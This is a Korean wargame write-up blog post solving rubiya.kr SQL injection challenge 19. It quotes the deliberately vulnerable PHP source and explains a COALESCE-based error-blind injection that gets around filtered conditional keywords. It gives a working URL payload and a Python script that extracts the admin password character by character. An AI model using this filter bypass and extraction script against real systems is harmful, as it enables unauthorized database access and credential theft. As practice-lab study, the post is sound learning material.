webhacking/sql, sql injection

rubiya.kr 19번.

qkqhxla1 2014. 9. 10. 13:50

http://rubiya.kr/sqli/prob19.php


<?php 
  
include "./dbconn.php"
  include 
"./solve.php"
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/if|case|when|sleep|benchmark/i'$_GET[pw])) exit("HeHe"); 
  
$query "select id from prob19 where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
mysql_error()) exit; 
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob19 where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve(); 
  
highlight_file(__FILE__); 
?>


일단 이것저것 해보면 에러기반 인젝션인건 알았는데, 조건문이 모두 막혀있어서 꽤 고민했다.


이틀동안 이거 하나만 가지고 고민하다 포기하고 지낼 즈음.... 우연히 adm1nkyj님과 이


문제에 대해 이야기하고 다시 풀어보려 하니까 풀렸다.


조건문이 모두 막혀있어서 or의 앞부분이 맞으면 뒷부분은 검사를 안한다는 점을 이용하려고 했는데


or의 특성인지 함수의 특성인지 단순히 or만으로는 되지 않았다.


mysql> select * from prob;

+-------+-------+

| id    | pw    |

+-------+-------+

| admin | 1234  |

| guest | guest |

| oop   | nop   |

+-------+-------+

3 rows in set (0.02 sec)


mysql> select * from prob where substr(id,1,1)='a' or (select 1 union select 2);

ERROR 1242 (21000): Subquery returns more than 1 row

mysql>


or은 특이하게도


mysql> select * from prob where substr('abc',1,1)='a' or (select 1 union select 2);

+-------+-------+

| id    | pw    |

+-------+-------+

| admin | 1234  |

| guest | guest |

| oop   | nop   |

+-------+-------+

3 rows in set (0.00 sec)


mysql>


요렇게 쿼리문 내부에서 바로바로 true, false여부를 판단할수 있으면 뒷부분 검사를 안 하는데,


컬럼명이 들어가면 한번 검사를 하는지 꼭 뒷부분이 실행되서 참이던 거짓이던 에러가 발생한다.


(컬럼이 한개만있던 다중 갯수의 컬럼이 있던 무조건 뒷부분 쿼리를 실행한다.) or도 불가능한것 


같고 다른 조건문을 찾으려고 하다가...


http://randa.tistory.com/15에서 조건문 대신 쓸수있을것 같은 함수를 몇개 발견하고 연구를 


좀 해보았다. 2번에있는 COALESCE라는 함수를 이용했는데....





2. COALESCE(value1,value2 ...)

COALESCE는 범위안에 값 중 NULL이 아닌 첫번째 인수를 리턴한다. 만약 모든 값 이 NULL일 경우는 NULL을 리턴한다.

1
2
SELECT COALESCE(NULL,1,2,3);
SELECT COALESCE(NULL,NULL,NULL);

1line - 좌측부터 시작해서 첫번째로 NULL이 아닌 것은 1이기 때문에 1을 리턴한다.

2line - value 값이 전부 NULL로만 이루어져 있기 때문에 NULL을 리턴한다.



이런식으로 쿼리를 짜보니... 되네? (단 가장 아래에 있는 컬럼 하나만 비교한다..)


mysql> select * from prob;

+-------+------+

| id    | pw   |

+-------+------+

| admin | 1234 |

+-------+------+

1 row in set (0.00 sec)


mysql> select * from prob where coalesce(substr(id,1,1)='a' or null,(select 1 union select 2));

+-------+------+

| id    | pw   |

+-------+------+

| admin | 1234 |

+-------+------+

1 row in set (0.00 sec)


mysql>


coalesce함수는 인자중에서 null값이 아닌 첫번째 인수를 리턴하는데, 저런식으로 쿼리를 짜면


앞부분이 true로 판별되어 뒷부분 or null 이 실행되지 않고, true가 나왔으므로 null값이 아니므로 


이 값이 반환된다. a가 아닐경우에는 저 쿼리에서 null값이 반환되며 뒷부분의 잘못된 쿼리가 실행되어


에러가 발생한다. 


그런데 지금도 궁금한 것이.... 맨 처음의


mysql> select * from prob where substr(id,1,1)='a' or (select 1 union select 2);

요런 쿼리는 동일한 환경(컬럼 1개)에서 실행해도 true던 false던 무조건 뒷부분 쿼리가 실행되는데 반해,


mysql> select * from prob where coalesce(substr(id,1,1)='a' or null,(select 1 union select 2));

이 쿼리는 substr()~ or null부분을 직접 실행해서 참 거짓 여부를 판단한 뒤에 뒷부분을 실행한다.


이건 coalesce함수의 특성인것 같으며, 함수의 특성에 따라서 앞부분을 한번 실행해보고 결과를


내보느냐, 아니면 무조건 뒷부분까지 실행해보느냐의 차이인것 같다. 이 부분은 좀 더 연구가


필요한것 같다.


어쨋든 문제를 풀 시에는 이런 쿼리를 사용하면 된다.


http://rubiya.kr/sqli/prob19.php?pw=a%27%20or%20coalesce(ascii(substr(pw,1,1))=56%20or%20null,%20(select%201%20union%20select%202))%20and%20%271%27=%271


query : select id from prob19 where id='admin' and pw='a' or coalesce(ascii(substr(pw,1,1))=56 or null, (select 1 union select 2)) and '1'='1'

import urllib2

answer = ''
for i in range(1,9):
    for j in range(32,128):
        print i,j,answer
        req = urllib2.Request('http://rubiya.kr/sqli/prob19.php?pw=a%27%20or%20coalesce(ascii(substr(pw,'+str(i)+\
                              ',1))='+str(j)+'%20or%20null,%20(select%201%20union%20select%202))%20and%20%271%27=%271')
        res = urllib2.urlopen(req)
        reads = res.read()
        if reads.find('query :') !=-1:
            answer += chr(j)
            break

print answer





'webhacking > sql, sql injection' 카테고리의 다른 글

wargame.kr lonely_guys  (0) 2014.09.28
rubiya.kr 19번 다른방법.(원래방법?)  (3) 2014.09.11
mysql hex()함수에 관해서  (0) 2014.09.06
rubiya.kr 15번.  (0) 2014.09.06
webhacking.kr 13번.  (2) 2014.09.04